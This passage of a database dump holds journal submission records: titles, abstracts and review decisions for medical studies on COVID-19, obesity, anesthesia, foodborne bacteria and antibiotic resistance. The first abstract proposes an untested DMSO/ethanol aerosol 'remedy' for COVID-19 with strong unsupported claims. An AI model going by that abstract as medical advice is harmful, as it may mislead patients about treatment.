\"Trojan horse\" to overcome the SARS-COV-2',NULL,14,0,NULL,'The overwhelming incidence, the frightening mortality, the economic burden and social life consequences of COVID-19 has put the human being on the edge of an unprecedented catastrophe. In spite of fully-featured pandemic and thorough knowledge regarding the SARS-COV-2 virology, epidemiology, pathogenesis and heterogeneous clinical course of the disease, nothing has been done so far with respect to a noticeable improvement in our treatment strategies, except fighting for face mask, gawn and ventilator, of course. A pre-primitive particle, barely visible even through electron microscope, with a brain of only 29.0 kb, is about to demolish the entire life aspects of highly civilized mankind, pushing them down their chambers in panic and absolute despair. I understand a fellow virologist has named the virus an evil genius primordial life entity. He is right somehow, but I would suggest, confrontation with such an evil thing necessitates an inherent, intuitive and holistic approach. It sounds like we are hypnotized by dreadful spiky silhouette of the virus and become totally distracted from looking towards the weaknesses and fragilities that the virus might have.  So far, we have been merely amused with those scanty surface proteins and the tiny genome of the virus.  The extremely fragile and pathetically frail virus bilayer phospholipid envelope has been vaguely neglected. We have barely addressed the enormous influence of virus lipid coat on its infective capabilities. We have never thought that even a subtle effort that brings about some biophysical changes in virus lipid envelope may lead to a major achievement reducing the virulence of the bug, and taming the fire-spitting dragon, SARS- COV-2. Enjoying an unstable and ever changing genome, the coronavirus species have been playing hide and seek with us for so many years, and we are still showing renewed enthusiasm to develop enduring vaccine or monoclonal antibodies. It does look somehow eccentric indeed. And so is the fantasy concerning the whole bunch of feeble and failing antiviral agents, old and new. It is a nightmare coming true when we hear that the patients recovered from COVID-19 are still virus shedder and remain positive while retested for RT-PCR. Therefore, counting on convalescent plasma therapy might also be a minor chance if ever. Putting all together, we must look at the problem from an entirely opposite angle. We know beyond doubt that the entire herd of SARS-COV-2 is well within our reach inside the upper and lower respiratory tract. And, the time is tight hence, we are supposed to think about our currently available armaments and use them against the weakest structural aspect of the brand new coronavirus, SARS-COV-2. Based on strong unquestionable biophysical and biological data, I would like to suggest a safe and powerful remedy for COVID-19. Let\'s play the \"Odysseus\", and make use of a wooden \"Trojan horse\" to enter the SARS-COV-2 castle.','COVID-19; lipid envelope; management; Dimethylsulfoxide; DMSO, Ethanol; Aerosol;',3249,NULL,'2020-05-11',NULL,'Submitted',2,NULL,'2022-11-05',NULL,1,1,'1','Accept without any changes',0,NULL,NULL,2,0,0,0,NULL,0),(4074,4677,971,0,'ipaclr-20-4074','Convalescent plasma therapy for prophylaxis and treatment of COVID-19: A systematic search and a narrative review',NULL,14,0,NULL,'Humanity has witnessed a pandemic in late December or, early January. Novel corona virus nCov-19 is responsible for causing COVID-19. The first case was reported in Wuhan city, China in the month of December 2019. No specific drugs have been approved yet for its treatment, though, convalescent plasma (CP) therapy is expected to increase the survivable rate. The history of convalescent plasma therapy dates back to the early 20th century. A plethora of studies suggest that CP can be used to treat the emerging infectious diseases. We had a systematic search in PubMed and found numerous Chinese and Korean clinical trials of convalescent plasma transfusions. The present review gives an insight in to the same.','Convalescent plasma therapy, prophylaxis, treatment, COVID-19',3249,NULL,'2020-05-11',NULL,'Submitted',4,NULL,'2020-07-06',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(4081,5284,45,0,'iphsj-20-4081','Overcoming the Challenges of Managing Obesity in Barbados: A Psychological Perspective',NULL,14,0,NULL,'Objective: To identify the main psychological challenge facing Barbadians in weight control and to determine whether in their view a National Health Education and Promotion Unit would be beneficial in addressing the problem of obesity in Barbados.\r\nDesign and Methods: A quantitative descriptive study was conducted using a cross-sectional survey. The Psychological Assessment Survey Tool of Disease Management (PASTDM) developed for the study was administered to 200 participants. Stratified and purposive sampling of eight subgroups with equal amount of participants comprising of health care providers and non health care providers within three zones or parishes in Barbados was conducted, to prevent bias or skewing of the data. \r\nResults: The total respondents of the survey were 168 comprising of males 24.4% and females 75.6%; with 92% being Barbadians mainly from the age group 34-41. The results revealed that the main psychological challenge faced by Barbadians in controlling their weight was the unwillingness to follow healthy eating and exercise practices. It was agreed on by 55.4% of the respondents that the health care system was not effective in managing obesity. Therefore, the proposition that a National Health Education and Promotion Unit would be beneficial to Barbadians in managing obesity was agreed on by 82.1% of the respondents.\r\nConclusion: Unhealthy eating and exercise practices by Barbadians were the main challenge identified by the study in their weight control management. Most of the participants felt that a National Education and Promotion Unit would aid in addressing the problem of obesity.','Obesity management, non communicable disease management, psychology and obesity management, lifestyle diseases and management, management of non communicable diseases in the Caribbean, healthcare management, health psychology, disease management',686,NULL,'2020-05-12',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4083,5287,975,0,'ipjbs-20-4083','The Effect of Irvingia gabonensis Ethanol Extracts (Ogbono) Seeds on the Growth rate and Hematological Parameters in Wistar rats',NULL,14,0,NULL,'Aim: To evaluate the effect of Irvingia gabonensis ethanol extract on the growth-rate and haematological parameters in Wistar rats.\r\n\r\nMethod: This research was a randomized-controlled study of two groups using ten (10) Male Wistar strain rats within the age of two months, weighing 80-146g. Group one as the control and Group two as the test. During the study, distilled water and rat feed was given to the group one, and an oral administration of 250mg/kg Irvingia gabonensis was given to group two for a period of 14 days using oral gavage. The growth rate of the Wistar rats was measured as its length using a tape rule within an interval of 3 days throughout the study period. Finally, blood samples were obtained for haematological analysis using BC-5380 Auto Hematology Analyzer.\r\n\r\nResult: We discovered that an oral administration of 250mg/kg Irvingia gabonensis significantly increased (p<0.05) the Mean Corpuscular Hemoglobin Concentration (34+0.27) g/dl of the test group when compared to the control (33.23+0.23) g/dl. However, the result didn\'t indicate a significant change in the growth rate of both groups during the 14 days of study. \r\n\r\nConclusion: The ethanol extract of Irvingia gabonensis seeds, doesn\'t negatively affect blood parameters. Thus, suggesting the use of Irvingia gabonensis extract for the maintenance of normal blood function.\r\n','',3460,NULL,'2020-05-12',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','work is ok.',0,'','',NULL,0,0,0,NULL,0),(4084,5288,326,0,NULL,'Safety and Efficacy of Perioperative Lidocaine Infusion- A Prospective, Controlled Study',NULL,14,0,NULL,'Abstract\\r\\nBackground:After introduction of synthetic opioids, in 1960s, safe and stress-free opioid balanced anesthesia has been developed. Opioids have a well-known side effects such asrespiratory depression,immunosuppression,muscle rigidity, negative inotropism, nausea, vomiting,hyperalgesia, urinary retention, postoperative ileus and drowsiness which are clinically important. Perioperative opioids are important factor of opioid epidemic in USA and other countries. Therefore, there is increased interest in perioperative use of non-opioid analgesics especially lidocaine.\\r\\nPatients and Methods:185 adult patients, undergoing various elective surgical procedures, were divided into; control groupI (105 patients) [Fentanyl Group], and group II (80 patients) [Opioid Free Anesthesia Group]. Patients of both groups received at anesthetic induction; lidocaine 1.5 mg/kg bolus followed by 1.5 mg/kg/h infusion intraoperatively, and 2 mg/Kg/h infusion for 2- 8 hours postoperatively. Both groups received other analgesic adjuvants such as diclofenac 75mg, paracetamol 1g, and MgSO4 30-50 mg/kgintraoperatively. A supplemental fentanyl 1 mcg/kg was used if there is increase of mean arterial pressure (MAP) and/ or heart rate (HR) more than 20%above base line. Intraoperative fentanyl consumption and visual analog scale (VAS) pain score assessment at immediate recovery time as well as after 24 hours postoperatively were assessedand analgesic requirements were recorded. Postoperative bowel function was also monitored by auscultation until recovery.\\r\\nResults: Supplemental intraoperative fentanyl was needed in 8.6% of cases in group I, and in 30% of cases in group II. Group II also needed a higher minimum alveolar concentration (MAC) of sevoflurane during first 30 minutes. Both groups neededanalgesia immediately post extubation if surgerieswere less than 3 hours. After 8 hours of lidocaine infusion, there was no need for additional opioids for 24 hours and only paracetamol 1gm and/or diclofenac 75mg were enough in both groups. No significant difference in bowel function were observed between the 2 groups.There are no clinically detected or observed toxicity or side effects due to lidocaine infusion.\\r\\nConclusion:Safety and efficacy of perioperative lidocaine infusion have been demonstrated. Opioid free anesthesia (OFA) is possible in 70% of cases. Antinociceptive action of lidocaine is time dependent and no immediate analgesia was needed after extubation if the duration of intraoperative lidocaine infusion was more than 3 hours as the VAS pain score after recovery was 0-3, versus 3-7 if the duration of lidocaine infusion was 40-150 minutes. Post-operative lidocaine infusion for 5-8 hours was sufficient for pain relieve with minimal non opioid analgesia for 24 hours.\\r\\n\\r\\n','Key words:Lidocaine; Perioperative infusion; Opioid; Balanced anesthesia; Multimodal analgesia.',2505,NULL,'2020-05-12',NULL,'Submitted',4,NULL,'2020-05-29',NULL,1,0,'1',NULL,0,'1035','iqbalahmed_m@omicsgroup.co.in',2,0,0,0,NULL,0),(4087,5292,45,0,'iphsj-20-4087','ASSESSMENT OF SALT AND FLUID INTAKE AND IT’S RELATION TO SYMPTOMS AMONG CHF PATIENTS',NULL,14,0,NULL,'Aim:  The main aim of the study is to assess the salt and fluid intake and it’s relation to symptoms among CHF patients.\r\nMaterials and Method: A total of 34 subjects were included in the study. The data was collected by using a questionnaire that elicited the information about the patient’s disease history, anthropometric measurements, symptoms, ejection fraction, usage of diuretics, biochemical parameters, nutritional intake and salt – fluid restriction. The patient basic details were filled from the medical record. 24 hour dietary recall was done in order to find out the salt intake and nutritional status of the patients. The patients were also counselled regarding the salt and fluid restrictions to be followed.\r\n\r\nResults: The prevalence of CHF was found to be more in male patients (68%), compared to females . The patients mean salt intake was found to be 5.6±1.36 grams/day, which is more than a teaspoon salt. The mean calories of the patients were only 1063.6±232.7 kcal.\r\nConclusion: Men were at higher risk for CHF when compared to women. Salt when consumed higher than 5-6gm have all the three symptoms like breathing difficulty, edema and both. As the fluid intake was increasing, the breathing difficulty in the patients were also found to be increasing. This shows that salt and fluid restriction is important in the management of CHF. \r\n\r\n','CHF, Salt, Fluid, Nutrition',2879,NULL,'2020-05-12',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4090,5295,91,0,'ijddr-20-4090','Formulation and evaluation of herbal oral gel containing extracts of powdered Psidium guajava Linn leaves with Curcuma longa Linn rhizomes to treat mouth ulcer',NULL,14,0,NULL,'The objective of this study was to formulate and evaluate the herbal oral gel containing extracts of powdered Psidium guajava Linn leaves and Curcuma longa Linn rhizomes to treat mouth ulcer. The traditional medical study is an integral part of the culture and the interpretation of health by indigenous populations in almost world. Guava leaves have been usually used to govern several diseases such as rheumatism, diarrhea, diabetes mellitus, wound sore throat, cough and it also gives good antimicrobial, antifungal, anticancer activity. Guava comprises some essential phytoconstituents such as tannins, triterpenes, flavonoid: quercetin, pentacyclic triterpenoid: guajanoic acid, saponins, carotenoids, lectins, leucocyanidin, ellagic acid, amritoside, beta-sitosterol, uvaol, oleanolic acid and ursolic acid while turmeric has anti-inflammatory, antibacterial activity, virucidal, antimutagenic, antioxidant properties. Turmeric contains a large variety of phytochemicals such as curcumin, demethoxycurcumin, eugenol, tannins, alkaloids, saponins, terpenoids and curcumol. The herbal oral gel formulation was prepared by using guava leaf extract, turmeric rhizome extract, carbopol 934, propylene glycol, methyl paraben,  propyl paraben,  triethnolamine and required amount of distilled water. The triethanolamine was added drop wise to maintain the pH (6.7-7.2) of oral mucosa. The physicochemical parameters of formulations such as pH, spreadability, viscosity, extrudability, gelling strength and antifungal activity were determined. The results showed that the optimized herbal oral formulation containing guava leaf extract and turmeric rhizomes extract shows that all physicochemical parameters  were found to be compatible with the normal range. Anti-fungal study of formulation revealed excellent efficacy against Candida albicans.  Developed herbal oral formulation was stable, safe and effective for the treatment of mouth ulcer. ','Psidium guajava Linn, leaf extract, Curcumin, Herbal gel, Mouth ulcer',3391,NULL,'2020-05-13',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','accepted',0,'','',NULL,0,0,0,NULL,0),(4092,5297,45,0,'iphsj-20-4092','Identification and Antimicrobial Resistance Pattern of Listeria Species Isolated From Food Chilling Lines at Haramaya University, Ethiopia',NULL,14,0,NULL,'Listeria species are worldwide zoonotic pathogens. Out breaks of listeriosis are linked refrigerated foods that are consumed without proper heating. Besides, indiscriminate use of antimicrobials leads to an increase in the rate of antimicrobial resistance (AMR) among Listeria species. However, the prevalence of Listeria species and their AMR pattern along food chilling lines at Haramaya University was not yet known. Therefore, a cross sectional study was conducted between the periods of October 2016 and April 2017 with the objectives to determine the prevalence of Listeria species and determine the antimicrobial profile of the isolates along food chilling lines at Haramaya University, Ethiopia. A total of 192 swab samples (96 food items and 96 refrigerator walls) were collected purposively. Isolation of Listeria from the samples was attempted as per the protocol of ISO 11290-1:1996. Disk diffusion method was used to assess antimicrobial profile of the Listeria isolates for five antimicrobials. The overall prevalence of Listeria species in food chilling lines was found to be 34.4 %. The specific prevalence of Listeria species in food swab and refrigerator swab were 33.3% and 35.4% respectively but there was no statistically significant difference (P > 0.05) on the prevalence of Listeria species in food and refrigerator swab. All the isolates were found to be resistance to penicillin, 80.4% to vancomycin, 64.8% to trimethoprim, 51% to tetracycline and 41.9% to cephalosporin. The high prevalence of Listeria species and their high antimicrobial resistance pattern along food chilling lines in this study represent a poor keeping quality and indiscriminate use of drugs at the study area. This suggests the need to implement sanitary measures and awareness creations to improve the hygienic conditions of refrigerators and food items kept in a refrigerator as well as proper use of antimicrobials in order to guarantee the quality of food products kept in refrigerators so as to safeguard the health of the consumers.','Prevalence, Listeria species, Antimicrobial Resistance, Food Chilling Lines, Haramaya University',685,NULL,'2020-05-13',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4109,5297,45,0,'iphsj-20-4109','Identification, Antimicrobial Resistance Pattern and Community Awareness of Salmonella Isolated From Municipal Abattoir and Butcher Houses at Mizan Town, Ethiopia',NULL,14,0,NULL,'Salmonella is the leading cause of foodborne diseases worldwide. A cross-sectional study was conducted between the periods of March and October 2019 at municipal abattoir and butcher houses of Mizan town, Ethiopia with the objectives to determine the prevalence, antimicrobial resistance pattern, risk factors and assess public awareness of Salmonella. A total of 320 samples consisting of 240 from abattoir and 80 from butcher houses were collected and examined for the presence of Salmonella using the procedures outlined by the International Organization for Standardization. The overall prevalence of Salmonella was found to be 13.4% (43/320). Out of a total isolates, 30/240 (12.5%) were isolated from abattoir source, of which 21/175 (12%) from carcass swab, 4/25 (16%) from abattoir personnel hand swab and 5/40 (12.5%) from abattoir materials swab while 13.3/80 (16.2%) from butcher houses source, of which 5/30 (16.6%) from butcher personnel hand swab and 8/50 (16%) from butcher materials swab. However, there was no statistically significant difference (P>0.05) in the prevalence of salmonella among sample source and type. Out of the total 43 isolates, 42(97.67%) were multiple antimicrobial resistant and the highest level of resistance was observed for ertrymycin (100). Multivariable logistic regression result showed that, materials which were not cleaned and people who didn’t know contamination as risk were the major risk factors for the occurrence of Salmonella among abattoir and butcher houses in the study area. Besides, the knowledge, attitude and practices of beef meat handlers were founded to be poor. Thus, urgent intervention program is essential to minimize the risk associated with consumption of beef meat contaminated with Salmonella and prudent use of antimicrobials is recommended.','Abattoir, Antimicrobial, Butcher, Beef Meat, Prevalence, Salmonella, Mizan',685,NULL,'2020-05-14',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4111,5315,975,0,'ipjbs-20-4111','PAIRED END PHYLOGENETIC ANALYSIS OF BACTERIAL POPULATION DIFFERENCES IN MUS MUSCULUS CECUM IN RESPONSE TO PROBIOTIC ADMINISTRATION',NULL,14,0,NULL,'Background: The cecum has the highest metabolite absorption and houses the most abundant population of microbes which are responsible for maintaining homeostasis and host health. Disruption of the microbial populations in either presence or relative abundance due to various environmental and host factors can result in various disease state that do not have a standard form of medical treatment. \r\nMethods: The use of synbiotics, prebiotics, and probiotics has shown potential in treating dysbiosis.  Many gut microbiota cannot be isolated by culture-dependent techniques. Culture independent, high resolution paired end16S rRNA genomic analysis of the V3/V4 hypervariable region was used to elucidate bacterial differences under treatment. \r\nResults: Analysis shows the establishment of probiotic strains maintaining diversity of the gut microbial flora within the cecum under the additional supplementation of prebiotics.\r\nConclusions: This study demonstrated a measurable phylogenetic difference in microbial community composition among controlled and symbiotic diets supporting the use of probiotics in establishing homeostatic balance of beneficial bacteria and pharmaceutically correcting a state of dysbiosis in the host. ','paired end, prebiotic, probiotic, synbiotic, diversity, 16S rRNA, next-gen',3460,NULL,'2020-05-14',NULL,'Submitted',4,NULL,'2020-06-12',NULL,1,1,'0',NULL,0,'','',2,0,0,0,NULL,0),(4113,5317,86,0,'ipaom-20-4113','Atypical Case of Chronic Granulomatous Disease: A Case Report',NULL,2,0,NULL,'Background: Chronic Granulomatous Disease (CGD) is a heterogeneous clinical presentation immunodeficiency, whose origin can be autosomal recessive or X-linked. In this pathology, there is a deficiency in the effector mechanisms of phagocytes [1].\r\nCase study: A review of the patient\'s medical records was performed, as well as the currently available bibliography. The case report presented is of an 8-year-old male patient, who had a history of recurrent respiratory infections and ICU admissions since 3 years old, being diagnosed with atypical presentation of CGD at 5 years old, and managed with standard prophylactic treatment based on sulfamethoxazole-trimethoprim (SMX-TMP).\r\nConclusion: CGD has a wide range of symptoms, so treatment should be guided based on each patient. In the presented case, the patient is being treated with a prophylactic combination of Itraconazole and SMX-TMP. Besides, we are still awaiting judicial clearance by the Brazilian National Health Sistem (SUS) for financial support for IFN-gamma (IFN-γ), which is recommended as prophylactic treatment [2].','Chronic Granulomatous Disease; Interferon-gamma; Primary Immunodeficiency Diseases',3411,NULL,'2020-05-15',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(4117,5321,326,0,'IPJUS-20-4117',' Pleomorphic Lipoma Foot- A Rare Case Report And Literature Review',NULL,2,0,NULL,' Lipomas are the most common soft tissue tumor found in adults and occur slightly more often in men than in women. Lipomas are uncommon in foot. Here we are discussing a case of 5o years old female presented with complaint of painless swelling over dorsolateral aspect of right foot for about 10 years .Fine Needle Aspiration Cytology was inconclusive. Swelling was excised under local anesthesia and histopathological examination proved it to be pleomorphic lipoma. A thorough review of literature was done emphasizing the rarity of this common tumor [lipoma] at this uncommon site[dorsum of foot].','Lipoma, Soft Tissue Tumor, Dorsum of foot',2505,NULL,'2020-05-15',NULL,'Submitted',2,NULL,'2020-07-23',NULL,1,1,'0','This manuscript is accepted without any changes.',0,'','',NULL,0,0,0,NULL,0),(4126,5333,45,0,'iphsj-20-4126','Knowledge and Attitude about Temporomandibular joint disorder among general medical and dental practitioners.',NULL,14,0,NULL,'The temporomandibular joint (TMJ) is the only joint in the body that is both a hinge and a sliding joint. This is the most active joint of the body, moving up to 2000 times each day during talking, chewing, swallowing and snoring. The disorders of the temporomandibular joint are part of a heterogeneous group of pathologies called temporomandibular disorders (TMD), which may manifest with a constellation of signs and symptoms. TMDs are considered to be a sub classification of musculoskeletal disorders .\r\n\r\nTemporomandibular joint (TMJ) disorder is a condition characterized by pain in the TMJ or its surrounding tissues, functional limitations of the mandible, or clicking in the TMJ during motion.\r\n Knowledge about Temporomandibular Joint Disorders has grown throughout the ages. In general, treatment philosophies have moved from a mechanistic dental approach to a biopsychosocial medical model, comparable to the treatment of other joint and muscle conditions in the body.4\r\nBecause of its varied etiology, diagnosis and formulisation of a treatment plan for patients with TMD is difficult. Dental and medical practitioners having lack of proper knowledge and awareness about temporomandibular joint and its disorders leads to wrong treatment or no treatment therapy worsen the condition.  Following is a study done to test the knowledge about TMD amongst general medical and dental practitioners.','Temporomadibular Joint, Pain, Disorders, Practitioners ',692,NULL,'2020-05-16',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4131,5338,45,0,'iphsj-20-4131','Level of Physical activity among students and their suggestions for ‎promoting physical activity',NULL,14,0,NULL,'Background: Physical activity has many health benefits. University students are the least well-‎studied population benefiting from increased physical activity levels. The academic criteria of the ‎university contribute toward affecting the physical activity behavior and attitude of young ‎adults. The aim of this study was therefore to evaluate the physical activity status of the students ‎studying in universities and their suggestion to promote the physical activity.‎\r\nMethodology: From January to October 2019, a cross-sectional survey was conducted among ‎‎2,916 university students studying at different universities in Faisalabad to measure the level of ‎physical activity according to the pre-defined inclusion/exclusion criteria. The questionnaire used ‎in this study consisted of three sections, the first part recording participants\' demographic ‎information, the second part an international physical activity questionnaire (IPAQ), and the ‎third part containing several suggestions for promoting PA from each participant filled out after ‎their consent. Data was analyzed through SPSS 22 according to the guidelines of IPAQ ‎Questionnaire. ‎\r\nResults: The findings of our study revealed that 2469 (84.6%) of the students out of 2916 were ‎physically active. Of 2916, 1541 (52.8%) participants were moderately active, while 928 (31.8%) ‎participants were highly active. Moreover, our study found that the most preferred suggestion ‎for the promotion of PA proposed by the students (n=1011, 34.7%) was provision of physical ‎and social environments that encourage and allow safe and pleasurable physical activity and least ‎preferred suggestion by the students (n=735, 25.2%) was addition of at least thirty minutes of ‎exercise as part of curriculum.  ‎\r\nConclusion: This study found that the physical activity profile of most students was between ‎moderate and high. The top ranked suggestion for the promotion of PA among students was ‎provision of physical and social environments that encourage and allow safe and pleasurable ‎physical activity. ','IPAQ, physical activity, promotion, suggestions, university students',643,NULL,'2020-05-17',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4132,5339,45,0,'iphsj-20-4132','The Cost Benefit and Effectiveness Anlayze of DBS Therapy on Parkinson’s Disease in Four Different University Hospitals in Turkey',NULL,14,0,NULL,'Parkinson disease (PD) represents 75% of all parkinsonian syndromes and is a chronic, slow progressive neurodegenerative disorder. In 2030, the population of PD patients all over the world is expected to reach to 8.7-9.3 million of patients. In 1997, Deep Brain Stimulation (DBS) was firstly approved as an alternative treatment option in PD patients. In Turkey although DBS was reimbursed for the treatment of PD since 2009 , we could not reach out any cost analyze studies. Our primary aim with four different university hospitals 60 patients’ data is to compare the costs of one year best medical treatment and DBS in the first year after its application. Second approach was to evaluate the pre and post-operative conditions via UPDRSIII and Hoehn&Yahr rating scales. Total one-year implantation cost was calculated 58.079,82 TL per case. The cost benefit outcomes were changes in UPDRS III and Hoehn&Yahr after DBS treatment were 7.1 and 1.13 points, respectively. All values have been verified with wilcoxon, friedman and one sample Kolmogorov statistical analyzes. In terms of cost effectiveness and minimization, the result could not be achieved in comparing one-year cost datas. Long term studies involving more centers and patients should be undertaken in future.','Parkinson Disease, Deep Brain Stimulation, cost benefit ',686,NULL,'2020-05-17',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(4134,5341,73,0,'ipjnn-20-4134','Effect of Rigid Ankle Foot Orthosis on Postural Control and Functional mobility in Chronic Ambulatory Stroke Patients',NULL,14,0,NULL,'Purpose: An Ankle Foot Orthosis (AFO) is typically suggested to compensate for the gait impairments in stroke patients. However, there is a lack of insight into the influence of orthoses on the underlying impairments and no evidence-based guidelines for AFO prescription in stroke patients. Previous literature is controversial as few studies suggest that the use of AFO may interfere with balance activities. Thus, this study aimed to determine the effect of rigid AFO on postural control and functional mobility in chronic stroke patients.\r\nMethod: 30 ambulatory chronic stroke patients were assessed for postural control on a balance manager system and functional mobility using Timed Up and Go Test (TUGT) under two different conditions viz. with AFO and without AFO.\r\nResults: AFO showed significant negative effects as observed from the reduced rising index during sit to stand; increased step width during walk across; and increased TUGT time and a tendency of increased postural sway velocity during quiet stance and sit to stand; reduced step length symmetry and reduced maximum excursion in forward, lateral and posterior direction in LOS.\r\nConclusion: In chronic ambulatory stroke patients, use of rigid AFO demonstrated significant detrimental effect on static and dynamic postural control; and functional mobility.\r\n','Ankle Foot Orthosis, Stroke, Postural control, Functional mobility, Physiotherapy, Assistive device, Gait, Balance manager system',338,NULL,'2020-05-17',NULL,'Submitted',2,NULL,'2020-07-28',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(4138,5345,326,0,'IPJUS-20-4138','A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception',NULL,2,0,NULL,'Intussusception is a serious condition in which part of the intestine slides into an adjacent part of the intestine. This \"telescoping\" often blocks food or fluid from passing through. Intussusception also cuts off the blood supply to the part of the intestine that\'s affected, which can lead to a tear in the bowel (perforation), infection and death of bowel tissue. Intussusception is the most common cause of intestinal obstruction in children younger than 3. The cause of most cases of intussusception in children is unknown. The most common type is idiopathic ileocolic intussusception. Colocolonic intussusception is an uncommon cause of intestinal obstruction in children. We present a delayed case of colocolonic intussusception which caused colonic obstruction in a 3-year-old girl. \r\n','Keywords: intussusception, colocolonic intussusception, colocolic intussusception, bowel obstruction, children\r\n',2505,NULL,'2020-05-17',NULL,'Submitted',2,NULL,'2020-07-27',NULL,1,1,'0','This manuscript is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(4140,5347,251,0,'ipacm-20-4140','Carbapenem-resistant Klebsiella pneumoniae strains: susceptibility to novel antibiotics and molecular detection of the resistance mechanisms; a study from two Greek tertiary teaching hospitals',NULL,14,0,NULL,'Summary\r\nObjectives: We evaluated the carbapenem resistance mechanisms of Klebsiella pneumoniae strains isolated in two Greek tertiary teaching hospitals and their susceptibility to currently used and novel antimicrobial agents. \r\nMaterials and methods: Forty-seven carbapenem resistant K. pneumoniae strains were collected in G. Papanikolaou and Ippokrateio hospital of Thessaloniki from 1/11/2016 to 5/1/2018 and 26/1/2017 to 19/4/2017 respectively. Strain identification and antimicrobial susceptibility was conducted by Vitek 2 system (Biomérieux France). Susceptibility against new antimicrobial agents was examined by disk diffusion method. Polymerase chain reaction (PCR) was used for the detection of blaKPC, blaVIM, blaNDM and blaOXA-48 genes. \r\nResults: The EDTA-boronic acid disk synergy test performed on the 24 K. pneumoniae strains from G. Papanikolaou hospital demonstrated that 8 (33.3%) yielded positive for metallo-b-lactamases (MBL) and 16 (66.6%) for K. pneumoniae carbapenemases (KPC) production. Gentamycin demonstrated the highest in vitro activity (82.6%) among the 23 K. pneumoniae strains from Ippokrateio hospital followed by colistin (73.9%) and tigecycline (69.5%). All strains from G. Papanikolaou hospital were sensitive to colistin whereas the 70.8% of them displayed susceptibility to gentamycin. Ceftazidime/avibactam showed the highest sensitivity (76.6%) in all strains followed by eravacyclin (66.6%). The blaKPC gene was present in 30 strains (63.8%), the blaNDM in 11 (23.4%) and the blaVIM in 6 (12.8%). The blaOXA-48 gene was not detected. \r\nConclusions: Well established antimicrobial agents such as colistin, gentamycin and tigecycline and novel antibiotics like ceftazidime/avibactam and eravacycline may be reliable options for the treatment of invasive infections caused by KPC-producing pathogens.\r\n','K. pneumoniae, carbapenem-resistance, carbapenemases, carbapenems.',783,NULL,'2020-05-18',NULL,'Submitted',2,NULL,'2020-06-02',NULL,1,1,'1','Carbapenem resistance is a major and an on-going public health problem globally. It occurs mainly among Gram-negative pathogens such as Klebsiella pneumoniae, Pseudomonas aeruginosa and Acinetobacter baumannii, and may be intrinsic or mediated by transferable carbapenemase-encoding genes. Author evaluated carbapenem resistance mechanisms of Klebsiella pneumoniae strains isolated in two Greek tertiary teaching hospitals with significant study period and methodology. Results are significant in EDTA boronic acid disk tests and antimicrobial susceptibility. Manuscript is well written and suitable to publish in the journal.',0,'','',NULL,0,0,0,NULL,0),(4142,5348,45,0,'iphsj-20-4142','Support surfaces for pressure ulcer prevention in intensive care patients: A short review article',NULL,19,0,NULL,'Objective: This short review seeks to present the effectiveness of support surfaces for pressure ulcer prevention in intensive care patients.\r\nMethods: A literature search was undertaken of international databases (PubMed, CINAHL, and Cochrane Library). A time limited criteria was applied with respect to articles publication; articles published in the last decade (2010-2020).  As key words, the following terms were used: “pressure ulcers”, “support surfaces”, “intensive care unit”, “prevention”, “mattresses”. Randomized controlled trials (RCTs), which assessed the effectiveness of mattresses for the prevention of pressure ulcers, in intensive care unit (ICU) patients were included in this review.\r\nResults: Many researchers have compared support surfaces and revealed the effectiveness between different types of support surfaces. From the present short review of the literature, researchers made an effort to compare the standard hospital mattress with viscoelastic mattress. It was found that the viscoelastic type of mattress reduced the incidence of PUs in critical ill patients. Moreover, some researchers underline the need for systematic and ongoing assessment of the patient’s skin as well as implementation of prevention measures. \r\nConclusions: Viscoelastic mattress seems to be more effective compared to standard foam mattresses in prevention of PUs, in ICU patients. Coping strategies can be developed through an organized intensive care team for PUs prevention.','Pressure ulcers, supportive surfaces, intensive care unit, prevention, mattresses.',388,NULL,'2020-05-18',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(4144,5351,959,0,'ipacr-20-4144','omyalgia and Chronic Pain (June 15-16, 2016 Philadelphia, USA) Results of neoadjuvant therapy against breast cancer in an outpatient medical attention unit (UMAA).',NULL,2,0,NULL,'Abstract:\r\nINTRODUCTION. Breast cancer is a health problem. There are many neoadjuvant schemes.\r\nSometimes even cyclophosphamide is unavailable\r\nPURPOSE. To define the characteristics of the patients at the UMAA, that recieved neoadjuvant\r\ntreatment and which was the most used scheme\r\nMETHODS. Review of 243 files of new patients at the UMAA 180 from April 1st, 2016 to July\r\n25th 2018, 48 that had received neoadjuvant therapy were selected.\r\nRESULTS. Mean age at diagnosis: 52. All women. Family members with cancer: 14 patients had\r\nin first degree.\r\nBIRADS: 4 without further specification was the most common, 14 didn´t bring report. Mean\r\nWeight 68.9kg. Mean height : 153.6cm. 28 menopausal patients. Stage II at the beginning: 23\r\npatients. Histology: mostly of the ductes grade II. Immunohistochemistry. Estrogen receptors\r\n(RE) positive (+), and/or progesterone receptors (RP) +, HER2 negative (-):24 patients. Triple\r\nnegative 4. HER2 positive: 6. Not available 14.\r\nOverall response. Every scheme, except docetaxel cyclophosphamide, achieved 100%.\r\nPathologic Complete Response. Sequential sceme 20%, docetaxel cyclophosphamide 20%,\r\ndocetaxel epirubicin (TE) 30.7%;\r\nCONCLUSIONS. Women who received neoadyuvant therapy have the expacted age and stage at\r\ndiagnosis, same as in other hospitals. The most used neoadjuvant scheme was the sequential. 